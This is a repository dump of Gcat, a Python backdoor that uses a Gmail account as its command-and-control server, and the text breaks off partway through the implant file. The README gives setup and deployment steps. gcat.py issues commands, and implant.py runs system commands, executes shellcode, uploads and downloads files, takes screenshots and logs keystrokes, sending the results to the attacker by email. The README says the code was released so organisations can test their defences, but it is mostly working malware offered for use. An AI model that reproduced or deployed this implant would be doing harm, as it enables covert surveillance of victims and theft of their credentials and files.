├── .gitignore ├── LICENSE ├── README.md ├── data └── .gitignore ├── gcat.py └── implant.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015, byt3bl33d3r 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 15 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 18 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 20 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 21 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 22 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 23 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Gcat 2 | A stealthy Python based backdoor that uses Gmail as a command and control server 3 | 4 | This project was inspired by the original [PoC code](https://bitbucket.org/Zaeyx/gcat) from Benjamin Donnelly 5 | 6 | ## This is PoC code... 7 | ... that was released for orginazations to test their defenses against these type of attacks. In order to detect them see projects like [RITA](https://github.com/activecm/rita). 8 | 9 | For a more up to date and maintained version of this project see [GDog](https://github.com/maldevel/gdog) 10 | 11 | ## Setup 12 | 13 | For this to work you need: 14 | - A Gmail account (**Use a dedicated account! Do not use your personal one!**) 15 | - Turn on "Allow less secure apps" under the security settings of the account 16 | - You may also have to enable IMAP in the account settings 17 | 18 | This repo contains two files: 19 | - ```gcat.py``` a script that's used to enumerate and issue commands to available clients 20 | - ```implant.py``` the actual backdoor to deploy 21 | 22 | In both files, edit the ```gmail_user``` and ```gmail_pwd``` variables with the username and password of the account you previously setup. 23 | 24 | You're probably going to want to compile ```implant.py``` into an executable using [Pyinstaller](https://github.com/pyinstaller/pyinstaller) 25 | 26 | **Note: It's recommended you compile implant.py using a 32bit Python installation** 27 | 28 | # Usage 29 | 30 | ``` 31 | dP 32 | 88 33 | .d8888b. .d8888b. .d8888b. d8888P 34 | 88' `88 88' `"" 88' `88 88 35 | 88. .88 88. ... 88. .88 88 36 | `8888P88 `88888P' `88888P8 dP 37 | .88 38 | d8888P 39 | 40 | 41 | .__....._ _.....__, 42 | .": o :': ;': o :". 43 | `. `-' .'. .'. `-' .' 44 | `---' `---' 45 | 46 | _...----... ... ... ...----..._ 47 | .-'__..-''---- `. `"` .' ----'''-..__`-. 48 | '.-' _.--''' `-._.-' ''''--._ `-.` 49 | ' .-"' : `"-. ` 50 | ' `. _.'"'._ .' ` 51 | `. ,.-'" "'-., .' 52 | `. .' 53 | jgs `-._ _.-' 54 | `"'--...___...--'"` 55 | 56 | ...IM IN YUR COMPUTERZ... 57 | 58 | WATCHIN YUR SCREENZ 59 | 60 | optional arguments: 61 | -h, --help show this help message and exit 62 | -v, --version show program's version number and exit 63 | -id ID Client to target 64 | -jobid JOBID Job id to retrieve 65 | 66 | -list List available clients 67 | -info Retrieve info on specified client 68 | 69 | Commands: 70 | Commands to execute on an implant 71 | 72 | -cmd CMD Execute a system command 73 | -download PATH Download a file from a clients system 74 | -upload SRC DST Upload a file to the clients system 75 | -exec-shellcode FILE Execute supplied shellcode on a client 76 | -screenshot Take a screenshot 77 | -lock-screen Lock the clients screen 78 | -force-checkin Force a check in 79 | -start-keylogger Start keylogger 80 | -stop-keylogger Stop keylogger 81 | 82 | Meow! 83 | 84 | ``` 85 | 86 | - Once you've deployed the backdoor on a couple of systems, you can check available clients using the list command: 87 | ``` 88 | #~ python gcat.py -list 89 | f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86 90 | 90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86 91 | ``` 92 | The output is a UUID string that uniquely identifies the system and the OS the implant is running on 93 | 94 | 95 | - Let's issue a command to an implant: 96 | ``` 97 | #~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all' 98 | [*] Command sent successfully with jobid: SH3C4gv 99 | ``` 100 | Here we are telling ```90b2cd83-cb36-52de-84ee-99db6ff41a11``` to execute ```ipconfig /all```, the script then outputs the ```jobid``` that we can use to retrieve the output of that command 101 | 102 | - Lets get the results! 103 | ``` 104 | #~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv 105 | DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)' 106 | JOBID: SH3C4gv 107 | FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py' 108 | CMD: 'ipconfig /all' 109 | 110 | 111 | Windows IP Configuration 112 | 113 | Host Name . . . . . . . . . . . . : unknown-2d44b52 114 | Primary Dns Suffix . . . . . . . : 115 | Node Type . . . . . . . . . . . . : Unknown 116 | IP Routing Enabled. . . . . . . . : No 117 | WINS Proxy Enabled. . . . . . . . : No 118 | 119 | -- SNIP -- 120 | ``` 121 | 122 | - That's the gist of it! But you can do much more as you can see from the usage of the script! ;) 123 | 124 | # To Do 125 | 126 | - Multi-platform support 127 | - ~~Command to upload files~~ 128 | - Transport crypto & obfuscation 129 | -------------------------------------------------------------------------------- /data/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | -------------------------------------------------------------------------------- /gcat.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import email 3 | import imaplib 4 | import sys 5 | import uuid 6 | import string 7 | import ast 8 | import os 9 | import json 10 | import random 11 | 12 | from datetime import datetime 13 | from base64 import b64decode 14 | from smtplib import SMTP 15 | from argparse import RawTextHelpFormatter 16 | from email.MIMEMultipart import MIMEMultipart 17 | from email.MIMEBase import MIMEBase 18 | from email.MIMEText import MIMEText 19 | from email import Encoders 20 | 21 | ####################################### 22 | gmail_user = 'gcat.is.the.shit@gmail.com' 23 | gmail_pwd = 'veryc00lp@ssw0rd' 24 | server = "smtp.gmail.com" 25 | server_port = 587 26 | ####################################### 27 | 28 | def genJobID(slen=7): 29 | return ''.join(random.sample(string.ascii_letters + string.digits, slen)) 30 | 31 | class msgparser: 32 | 33 | def __init__(self, msg_data): 34 | self.attachment = None 35 | self.getPayloads(msg_data) 36 | self.getSubjectHeader(msg_data) 37 | self.getDateHeader(msg_data) 38 | 39 | def getPayloads(self, msg_data): 40 | for payload in email.message_from_string(msg_data[1][0][1]).get_payload(): 41 | if payload.get_content_maintype() == 'text': 42 | self.text = payload.get_payload() 43 | self.dict = json.loads(payload.get_payload()) 44 | 45 | elif payload.get_content_maintype() == 'application': 46 | self.attachment = payload.get_payload() 47 | 48 | def getSubjectHeader(self, msg_data): 49 | self.subject = email.message_from_string(msg_data[1][0][1])['Subject'] 50 | 51 | def getDateHeader(self, msg_data): 52 | self.date = email.message_from_string(msg_data[1][0][1])['Date'] 53 | 54 | class Gcat: 55 | 56 | def __init__(self): 57 | self.c = imaplib.IMAP4_SSL(server) 58 | self.c.login(gmail_user, gmail_pwd) 59 | 60 | def sendEmail(self, botid, jobid, cmd, arg='', attachment=[]): 61 | 62 | if (botid is None) or (jobid is None): 63 | sys.exit("[-] You must specify a client id (-id) and a jobid (-job-id)") 64 | 65 | sub_header = 'gcat:{}:{}'.format(botid, jobid) 66 | 67 | msg = MIMEMultipart() 68 | msg['From'] = sub_header 69 | msg['To'] = gmail_user 70 | msg['Subject'] = sub_header 71 | msgtext = json.dumps({'cmd': cmd, 'arg': arg}) 72 | msg.attach(MIMEText(str(msgtext))) 73 | 74 | for attach in attachment: 75 | if os.path.exists(attach) == True: 76 | part = MIMEBase('application', 'octet-stream') 77 | part.set_payload(open(attach, 'rb').read()) 78 | Encoders.encode_base64(part) 79 | part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach))) 80 | msg.attach(part) 81 | 82 | mailServer = SMTP() 83 | mailServer.connect(server, server_port) 84 | mailServer.starttls() 85 | mailServer.login(gmail_user,gmail_pwd) 86 | mailServer.sendmail(gmail_user, gmail_user, msg.as_string()) 87 | mailServer.quit() 88 | 89 | print "[*] Command sent successfully with jobid: {}".format(jobid) 90 | 91 | 92 | def checkBots(self): 93 | bots = [] 94 | self.c.select(readonly=1) 95 | rcode, idlist = self.c.uid('search', None, "(SUBJECT 'checkin:')") 96 | 97 | for idn in idlist[0].split(): 98 | msg_data = self.c.uid('fetch', idn, '(RFC822)') 99 | msg = msgparser(msg_data) 100 | 101 | try: 102 | botid = str(uuid.UUID(msg.subject.split(':')[1])) 103 | if botid not in bots: 104 | bots.append(botid) 105 | 106 | print botid, msg.dict['sys'] 107 | 108 | except ValueError: 109 | pass 110 | 111 | def getBotInfo(self, botid): 112 | 113 | if botid is None: 114 | sys.exit("[-] You must specify a client id (-id)") 115 | 116 | self.c.select(readonly=1) 117 | rcode, idlist = self.c.uid('search', None, "(SUBJECT 'checkin:{}')".format(botid)) 118 | 119 | for idn in idlist[0].split(): 120 | msg_data = self.c.uid('fetch', idn, '(RFC822)') 121 | msg = msgparser(msg_data) 122 | 123 | print "ID: " + botid 124 | print "DATE: '{}'".format(msg.date) 125 | print "OS: " + msg.dict['sys'] 126 | print "ADMIN: " + str(msg.dict['admin']) 127 | print "FG WINDOWS: '{}'\n".format(msg.dict['fgwindow']) 128 | 129 | def getJobResults(self, botid, jobid): 130 | 131 | if (botid is None) or (jobid is None): 132 | sys.exit("[-] You must specify a client id (-id) and a jobid (-job-id)") 133 | 134 | self.c.select(readonly=1) 135 | rcode, idlist = self.c.uid('search', None, "(SUBJECT 'imp:{}:{}')".format(botid, jobid)) 136 | 137 | for idn in idlist[0].split(): 138 | msg_data = self.c.uid('fetch', idn, '(RFC822)') 139 | msg = msgparser(msg_data) 140 | 141 | print "DATE: '{}'".format(msg.date) 142 | print "JOBID: " + jobid 143 | print "FG WINDOWS: '{}'".format(msg.dict['fgwindow']) 144 | print "CMD: '{}'".format(msg.dict['msg']['cmd']) 145 | print '' 146 | print msg.dict['msg']['res'] + '\n' 147 | 148 | if msg.attachment: 149 | 150 | if msg.dict['msg']['cmd'] == 'screenshot': 151 | imgname = '{}-{}.png'.format(botid, jobid) 152 | with open("./data/" + imgname, 'wb') as image: 153 | image.write(b64decode(msg.attachment)) 154 | image.close() 155 | 156 | print "[*] Screenshot saved to ./data/" + imgname 157 | 158 | elif msg.dict['msg']['cmd'] == 'download': 159 | filename = "{}-{}".format(botid, jobid) 160 | with open("./data/" + filename, 'wb') as dfile: 161 | dfile.write(b64decode(msg.attachment)) 162 | dfile.close() 163 | 164 | print "[*] Downloaded file saved to ./data/" + filename 165 | 166 | def logout(): 167 | self.c.logout() 168 | 169 | 170 | if __name__ == '__main__': 171 | 172 | parser = argparse.ArgumentParser(description=""" 173 | dP 174 | 88 175 | .d8888b. .d8888b. .d8888b. d8888P 176 | 88' `88 88' `"" 88' `88 88 177 | 88. .88 88. ... 88. .88 88 178 | `8888P88 `88888P' `88888P8 dP 179 | .88 180 | d8888P 181 | 182 | 183 | .__....._ _.....__, 184 | .": o :': ;': o :". 185 | `. `-' .'. .'. `-' .' 186 | `---' `---' 187 | 188 | _...----... ... ... ...----..._ 189 | .-'__..-''---- `. `"` .' ----'''-..__`-. 190 | '.-' _.--''' `-._.-' ''''--._ `-.` 191 | ' .-"' : `"-. ` 192 | ' `. _.'"'._ .' ` 193 | `. ,.-'" "'-., .' 194 | `. .' 195 | jgs `-._ _.-' 196 | `"'--...___...--'"` 197 | 198 | ...IM IN YUR COMPUTERZ... 199 | 200 | WATCHIN YUR SCREENZ 201 | """, 202 | version='1.0.0', 203 | formatter_class=RawTextHelpFormatter, 204 | epilog='Meow!') 205 | 206 | parser.add_argument("-id", dest='id', type=str, default=None, help="Client to target") 207 | parser.add_argument('-jobid', dest='jobid', default=None, type=str, help='Job id to retrieve') 208 | 209 | agroup = parser.add_argument_group() 210 | blogopts = agroup.add_mutually_exclusive_group() 211 | blogopts.add_argument("-list", dest="list", action="store_true", help="List available clients") 212 | blogopts.add_argument("-info", dest='info', action='store_true', help='Retrieve info on specified client') 213 | 214 | sgroup = parser.add_argument_group("Commands", "Commands to execute on an implant") 215 | slogopts = sgroup.add_mutually_exclusive_group() 216 | slogopts.add_argument("-cmd", metavar='CMD', dest='cmd', type=str, help='Execute a system command') 217 | slogopts.add_argument("-download", metavar='PATH', dest='download', type=str, help='Download a file from a clients system') 218 | slogopts.add_argument("-upload", nargs=2, metavar=('SRC', 'DST'), help="Upload a file to the clients system") 219 | slogopts.add_argument("-exec-shellcode", metavar='FILE',type=argparse.FileType('rb'), dest='shellcode', help='Execute supplied shellcode on a client') 220 | slogopts.add_argument("-screenshot", dest='screen', action='store_true', help='Take a screenshot') 221 | slogopts.add_argument("-lock-screen", dest='lockscreen', action='store_true', help='Lock the clients screen') 222 | slogopts.add_argument("-force-checkin", dest='forcecheckin', action='store_true', help='Force a check in') 223 | slogopts.add_argument("-start-keylogger", dest='keylogger', action='store_true', help='Start keylogger') 224 | slogopts.add_argument("-stop-keylogger", dest='stopkeylogger', action='store_true', help='Stop keylogger') 225 | 226 | if len(sys.argv) is 1: 227 | parser.print_help() 228 | sys.exit() 229 | 230 | args = parser.parse_args() 231 | 232 | gcat = Gcat() 233 | jobid = genJobID() 234 | 235 | if args.list: 236 | gcat.checkBots() 237 | 238 | elif args.info: 239 | gcat.getBotInfo(args.id) 240 | 241 | elif args.cmd: 242 | gcat.sendEmail(args.id, jobid, 'cmd', args.cmd) 243 | 244 | elif args.shellcode: 245 | gcat.sendEmail(args.id, jobid, 'execshellcode', args.shellcode.read().strip()) 246 | 247 | elif args.download: 248 | gcat.sendEmail(args.id, jobid, 'download', r'{}'.format(args.download)) 249 | 250 | elif args.upload: 251 | gcat.sendEmail(args.id, jobid, 'upload', r'{}'.format(args.upload[1]), [args.upload[0]]) 252 | 253 | elif args.screen: 254 | gcat.sendEmail(args.id, jobid, 'screenshot') 255 | 256 | elif args.lockscreen: 257 | gcat.sendEmail(args.id, jobid, 'lockscreen') 258 | 259 | elif args.forcecheckin: 260 | gcat.sendEmail(args.id, jobid, 'forcecheckin') 261 | 262 | elif args.keylogger: 263 | gcat.sendEmail(args.id, jobid, 'startkeylogger') 264 | 265 | elif args.stopkeylogger: 266 | gcat.sendEmail(args.id, jobid, 'stopkeylogger') 267 | 268 | elif args.jobid: 269 | gcat.getJobResults(args.id, args.jobid) 270 | -------------------------------------------------------------------------------- /implant.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import sys 3 | import os 4 | import base64 5 | import binascii 6 | import threading 7 | import time 8 | import random 9 | import string 10 | import imaplib 11 | import email 12 | import uuid 13 | import platform 14 | import ctypes 15 | import json 16 | #import logging 17 | 18 | #from traceback import print_exc, format_exc 19 | from base64 import b64decode 20 | from smtplib import SMTP 21 | from email.MIMEMultipart import MIMEMultipart 22 | from email.MIMEBase import MIMEBase 23 | from email.MIMEText import MIMEText 24 | from email import Encoders 25 | from struct import pack 26 | from zlib import compress, crc32 27 | from ctypes import c_void_p, c_int, create_string_buffer, sizeof, windll, Structure, POINTER, WINFUNCTYPE, CFUNCTYPE, POINTER 28 | from ctypes.wintypes import BOOL, DOUBLE, DWORD, HBITMAP, HDC, HGDIOBJ, HWND, INT, LPARAM, LONG, RECT, UINT, WORD, MSG 29 | 30 | ####################################### 31 | gmail_user = 'gcat.is.the.shit@gmail.com' 32 | gmail_pwd = 'veryc00lp@ssw0rd' 33 | server = 'smtp.gmail.com' 34 | server_port = 587 35 | ####################################### 36 | 37 | #Prints error messages and info to stdout 38 | #verbose = True 39 | #log_level = 20 40 | 41 | #if verbose is True: 42 | # log_level = 10 43 | 44 | #logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") 45 | 46 | #generates a unique uuid 47 | uniqueid = str(uuid.uuid5(uuid.NAMESPACE_DNS, str(uuid.getnode()))) 48 | 49 | WH_KEYBOARD_LL=13 50 | WM_KEYDOWN=0x0100 51 | CTRL_CODE = 162 52 | 53 | ### Following code was stolen from python-mss https://github.com/BoboTiG/python-mss ### 54 | class BITMAPINFOHEADER(Structure): 55 | _fields_ = [('biSize', DWORD), ('biWidth', LONG), ('biHeight', LONG), 56 | ('biPlanes', WORD), ('biBitCount', WORD), 57 | ('biCompression', DWORD), ('biSizeImage', DWORD), 58 | ('biXPelsPerMeter', LONG), ('biYPelsPerMeter', LONG), 59 | ('biClrUsed', DWORD), ('biClrImportant', DWORD)] 60 | 61 | class BITMAPINFO(Structure): 62 | _fields_ = [('bmiHeader', BITMAPINFOHEADER), ('bmiColors', DWORD * 3)] 63 | 64 | class screenshot(threading.Thread): 65 | ''' Mutliple ScreenShots implementation for Microsoft Windows. ''' 66 | 67 | def __init__(self, jobid): 68 | ''' Windows initialisations. ''' 69 | threading.Thread.__init__(self) 70 | self.jobid = jobid 71 | self.daemon = True 72 | self._set_argtypes() 73 | self._set_restypes() 74 | self.start() 75 | 76 | def _set_argtypes(self): 77 | ''' Functions arguments. ''' 78 | 79 | self.MONITORENUMPROC = WINFUNCTYPE(INT, DWORD, DWORD, POINTER(RECT), 80 | DOUBLE) 81 | windll.user32.GetSystemMetrics.argtypes = [INT] 82 | windll.user32.EnumDisplayMonitors.argtypes = [HDC, c_void_p, 83 | self.MONITORENUMPROC, 84 | LPARAM] 85 | windll.user32.GetWindowDC.argtypes = [HWND] 86 | windll.gdi32.CreateCompatibleDC.argtypes = [HDC] 87 | windll.gdi32.CreateCompatibleBitmap.argtypes = [HDC, INT, INT] 88 | windll.gdi32.SelectObject.argtypes = [HDC, HGDIOBJ] 89 | windll.gdi32.BitBlt.argtypes = [HDC, INT, INT, INT, INT, HDC, INT, INT, 90 | DWORD] 91 | windll.gdi32.DeleteObject.argtypes = [HGDIOBJ] 92 | windll.gdi32.GetDIBits.argtypes = [HDC, HBITMAP, UINT, UINT, c_void_p, 93 | POINTER(BITMAPINFO), UINT] 94 | 95 | def _set_restypes(self): 96 | ''' Functions return type. ''' 97 | 98 | windll.user32.GetSystemMetrics.restypes = INT 99 | windll.user32.EnumDisplayMonitors.restypes = BOOL 100 | windll.user32.GetWindowDC.restypes = HDC 101 | windll.gdi32.CreateCompatibleDC.restypes = HDC 102 | windll.gdi32.CreateCompatibleBitmap.restypes = HBITMAP 103 | windll.gdi32.SelectObject.restypes = HGDIOBJ 104 | windll.gdi32.BitBlt.restypes = BOOL 105 | windll.gdi32.GetDIBits.restypes = INT 106 | windll.gdi32.DeleteObject.restypes = BOOL 107 | 108 | def enum_display_monitors(self, screen=-1): 109 | ''' Get positions of one or more monitors. 110 | Returns a dict with minimal requirements. 111 | ''' 112 | 113 | if screen == -1: 114 | SM_XVIRTUALSCREEN, SM_YVIRTUALSCREEN = 76, 77 115 | SM_CXVIRTUALSCREEN, SM_CYVIRTUALSCREEN = 78, 79 116 | left = windll.user32.GetSystemMetrics(SM_XVIRTUALSCREEN) 117 | right = windll.user32.GetSystemMetrics(SM_CXVIRTUALSCREEN) 118 | top = windll.user32.GetSystemMetrics(SM_YVIRTUALSCREEN) 119 | bottom = windll.user32.GetSystemMetrics(SM_CYVIRTUALSCREEN) 120 | yield ({ 121 | b'left': int(left), 122 | b'top': int(top), 123 | b'width': int(right - left), 124 | b'height': int(bottom - top) 125 | }) 126 | else: 127 | 128 | def _callback(monitor, dc, rect, data): 129 | ''' Callback for MONITORENUMPROC() function, it will return 130 | a RECT with appropriate values. 131 | ''' 132 | rct = rect.contents 133 | monitors.append({ 134 | b'left': int(rct.left), 135 | b'top': int(rct.top), 136 | b'width': int(rct.right - rct.left), 137 | b'height': int(rct.bottom - rct.top) 138 | }) 139 | return 1 140 | 141 | monitors = [] 142 | callback = self.MONITORENUMPROC(_callback) 143 | windll.user32.EnumDisplayMonitors(0, 0, callback, 0) 144 | for mon in monitors: 145 | yield mon 146 | 147 | def get_pixels(self, monitor): 148 | ''' Retrieve all pixels from a monitor. Pixels have to be RGB. 149 | 150 | [1] A bottom-up DIB is specified by setting the height to a 151 | positive number, while a top-down DIB is specified by 152 | setting the height to a negative number. 153 | https://msdn.microsoft.com/en-us/library/ms787796.aspx 154 | https://msdn.microsoft.com/en-us/library/dd144879%28v=vs.85%29.aspx 155 | ''' 156 | 157 | width, height = monitor[b'width'], monitor[b'height'] 158 | left, top = monitor[b'left'], monitor[b'top'] 159 | SRCCOPY = 0xCC0020 160 | DIB_RGB_COLORS = BI_RGB = 0 161 | srcdc = memdc = bmp = None 162 | 163 | try: 164 | bmi = BITMAPINFO() 165 | bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER) 166 | bmi.bmiHeader.biWidth = width 167 | bmi.bmiHeader.biHeight = -height # Why minus? See [1] 168 | bmi.bmiHeader.biPlanes = 1 # Always 1 169 | bmi.bmiHeader.biBitCount = 24 170 | bmi.bmiHeader.biCompression = BI_RGB 171 | buffer_len = height * width * 3 172 | self.image = create_string_buffer(buffer_len) 173 | srcdc = windll.user32.GetWindowDC(0) 174 | memdc = windll.gdi32.CreateCompatibleDC(srcdc) 175 | bmp = windll.gdi32.CreateCompatibleBitmap(srcdc, width, height) 176 | windll.gdi32.SelectObject(memdc, bmp) 177 | windll.gdi32.BitBlt(memdc, 0, 0, width, height, srcdc, left, top, 178 | SRCCOPY) 179 | bits = windll.gdi32.GetDIBits(memdc, bmp, 0, height, self.image, 180 | bmi, DIB_RGB_COLORS) 181 | if bits != height: 182 | raise ScreenshotError('MSS: GetDIBits() failed.') 183 | finally: 184 | # Clean up 185 | if srcdc: 186 | windll.gdi32.DeleteObject(srcdc) 187 | if memdc: 188 | windll.gdi32.DeleteObject(memdc) 189 | if bmp: 190 | windll.gdi32.DeleteObject(bmp) 191 | 192 | # Replace pixels values: BGR to RGB 193 | self.image[2:buffer_len:3], self.image[0:buffer_len:3] = \ 194 | self.image[0:buffer_len:3], self.image[2:buffer_len:3] 195 | return self.image 196 | 197 | def save(self, 198 | output='screenshot-%d.png', 199 | screen=-1, 200 | callback=lambda *x: True): 201 | ''' Grab a screenshot and save it to a file. 202 | 203 | Parameters: 204 | - output - string - the output filename. It can contain '%d' which 205 | will be replaced by the monitor number. 206 | - screen - int - grab one screenshot of all monitors (screen=-1) 207 | grab one screenshot by monitor (screen=0) 208 | grab the screenshot of the monitor N (screen=N) 209 | - callback - function - in case where output already exists, call 210 | the defined callback function with output 211 | as parameter. If it returns True, then 212 | continue; else ignores the monitor and 213 | switches to ne next. 214 | 215 | This is a generator which returns created files. 216 | ''' 217 | 218 | # Monitors screen shots! 219 | for i, monitor in enumerate(self.enum_display_monitors(screen)): 220 | if screen <= 0 or (screen > 0 and i + 1 == screen): 221 | fname = output 222 | if '%d' in output: 223 | fname = output.replace('%d', str(i + 1)) 224 | callback(fname) 225 | self.save_img(data=self.get_pixels(monitor), 226 | width=monitor[b'width'], 227 | height=monitor[b'height'], 228 | output=fname) 229 | yield fname 230 | 231 | def save_img(self, data, width, height, output): 232 | ''' Dump data to the image file. 233 | Pure python PNG implementation. 234 | Image represented as RGB tuples, no interlacing. 235 | http://inaps.org/journal/comment-fonctionne-le-png 236 | ''' 237 | 238 | zcrc32 = crc32 239 | zcompr = compress 240 | len_sl = width * 3 241 | scanlines = b''.join( 242 | [b'0' + data[y * len_sl:y * len_sl + len_sl] 243 | for y in range(height)]) 244 | 245 | magic = pack(b'>8B', 137, 80, 78, 71, 13, 10, 26, 10) 246 | 247 | # Header: size, marker, data, CRC32 248 | ihdr = [b'', b'IHDR', b'', b''] 249 | ihdr[2] = pack(b'>2I5B', width, height, 8, 2, 0, 0, 0) 250 | ihdr[3] = pack(b'>I', zcrc32(b''.join(ihdr[1:3])) & 0xffffffff) 251 | ihdr[0] = pack(b'>I', len(ihdr[2])) 252 | 253 | # Data: size, marker, data, CRC32 254 | idat = [b'', b'IDAT', b'', b''] 255 | idat[2] = zcompr(scanlines, 9) 256 | idat[3] = pack(b'>I', zcrc32(b''.join(idat[1:3])) & 0xffffffff) 257 | idat[0] = pack(b'>I', len(idat[2])) 258 | 259 | # Footer: size, marker, None, CRC32 260 | iend = [b'', b'IEND', b'', b''] 261 | iend[3] = pack(b'>I', zcrc32(iend[1]) & 0xffffffff) 262 | iend[0] = pack(b'>I', len(iend[2])) 263 | 264 | with open(os.path.join(os.getenv('TEMP') + output), 'wb') as fileh: 265 | fileh.write( 266 | magic + b''.join(ihdr) + b''.join(idat) + b''.join(iend)) 267 | return 268 | err = 'MSS: error writing data to "{0}".'.format(output) 269 | raise ScreenshotError(err) 270 | 271 | def run(self): 272 | img_name = genRandomString() + '.png' 273 | for filename in self.save(output=img_name, screen=-1): 274 | sendEmail({'cmd': 'screenshot', 'res': 'Screenshot taken'}, jobid=self.jobid, attachment=[os.path.join(os.getenv('TEMP') + img_name)]) 275 | 276 | ### End of python-mss code ### 277 | 278 | class msgparser: 279 | 280 | def __init__(self, msg_data): 281 | self.attachment = None 282 | self.getPayloads(msg_data) 283 | self.getSubjectHeader(msg_data) 284 | self.getDateHeader(msg_data) 285 | 286 | def getPayloads(self, msg_data): 287 | for payload in email.message_from_string(msg_data[1][0][1]).get_payload(): 288 | if payload.get_content_maintype() == 'text': 289 | self.text = payload.get_payload() 290 | self.dict = json.loads(payload.get_payload()) 291 | 292 | elif payload.get_content_maintype() == 'application': 293 | self.attachment = payload.get_payload() 294 | 295 | def getSubjectHeader(self, msg_data): 296 | self.subject = email.message_from_string(msg_data[1][0][1])['Subject'] 297 | 298 | def getDateHeader(self, msg_data): 299 | self.date = email.message_from_string(msg_data[1][0][1])['Date'] 300 | 301 | class keylogger(threading.Thread): 302 | #Stolen from http://earnestwish.com/2015/06/09/python-keyboard-hooking/ 303 | exit = False 304 | 305 | def __init__(self, jobid): 306 | threading.Thread.__init__(self) 307 | self.jobid = jobid 308 | self.daemon = True 309 | self.hooked = None 310 | self.keys = '' 311 | self.start() 312 | 313 | def installHookProc(self, pointer): 314 | self.hooked = ctypes.windll.user32.SetWindowsHookExA( 315 | WH_KEYBOARD_LL, 316 | pointer, 317 | windll.kernel32.GetModuleHandleW(None), 318 | 0 319 | ) 320 | 321 | if not self.hooked: 322 | return False 323 | return True 324 | 325 | def uninstallHookProc(self): 326 | if self.hooked is None: 327 | return 328 | ctypes.windll.user32.UnhookWindowsHookEx(self.hooked) 329 | self.hooked = None 330 | 331 | def getFPTR(self, fn): 332 | CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p)) 333 | return CMPFUNC(fn) 334 | 335 | def hookProc(self, nCode, wParam, lParam): 336 | if wParam is not WM_KEYDOWN: 337 | return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) 338 | 339 | self.keys += chr(lParam[0]) 340 | 341 | if len(self.keys) > 100: 342 | sendEmail({'cmd': 'keylogger', 'res': r'{}'.format(self.keys)}, self.jobid) 343 | self.keys = '' 344 | 345 | if (CTRL_CODE == int(lParam[0])) or (self.exit == True): 346 | sendEmail({'cmd': 'keylogger', 'res': 'Keylogger stopped'}, self.jobid) 347 | self.uninstallHookProc() 348 | 349 | return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) 350 | 351 | def startKeyLog(self): 352 | msg = MSG() 353 | ctypes.windll.user32.GetMessageA(ctypes.byref(msg),0,0,0) 354 | 355 | def run(self): 356 | pointer = self.getFPTR(self.hookProc) 357 | 358 | if self.installHookProc(pointer): 359 | sendEmail({'cmd': 'keylogger', 'res': 'Keylogger started'}, self.jobid) 360 | self.startKeyLog() 361 | 362 | class download(threading.Thread): 363 | 364 | def __init__(self, jobid, filepath): 365 | threading.Thread.__init__(self) 366 | self.jobid = jobid 367 | self.filepath = filepath 368 | 369 | self.daemon = True 370 | self.start() 371 | 372 | def run(self): 373 | try: 374 | if os.path.exists(self.filepath) is True: 375 | sendEmail({'cmd': 'download', 'res': 'Success'}, self.jobid, [self.filepath]) 376 | else: 377 | sendEmail({'cmd': 'download', 'res': 'Path to file invalid'}, self.jobid) 378 | except Exception as e: 379 | sendEmail({'cmd': 'download', 'res': 'Failed: {}'.format(e)}, self.jobid) 380 | 381 | class upload(threading.Thread): 382 | 383 | def __init__(self, jobid, dest, attachment): 384 | threading.Thread.__init__(self) 385 | self.jobid = jobid 386 | self.dest = dest 387 | self.attachment = attachment 388 | 389 | self.daemon = True 390 | self.start() 391 | 392 | def run(self): 393 | try: 394 | with open(self.dest, 'wb') as fileh: 395 | fileh.write(b64decode(self.attachment)) 396 | sendEmail({'cmd': 'upload', 'res': 'Success'}, self.jobid) 397 | except Exception as e: 398 | sendEmail({'cmd': 'upload', 'res': 'Failed: {}'.format(e)}, self.jobid) 399 | 400 | class lockScreen(threading.Thread): 401 | 402 | def __init__(self, jobid): 403 | threading.Thread.__init__(self) 404 | self.jobid = jobid 405 | 406 | self.daemon = True 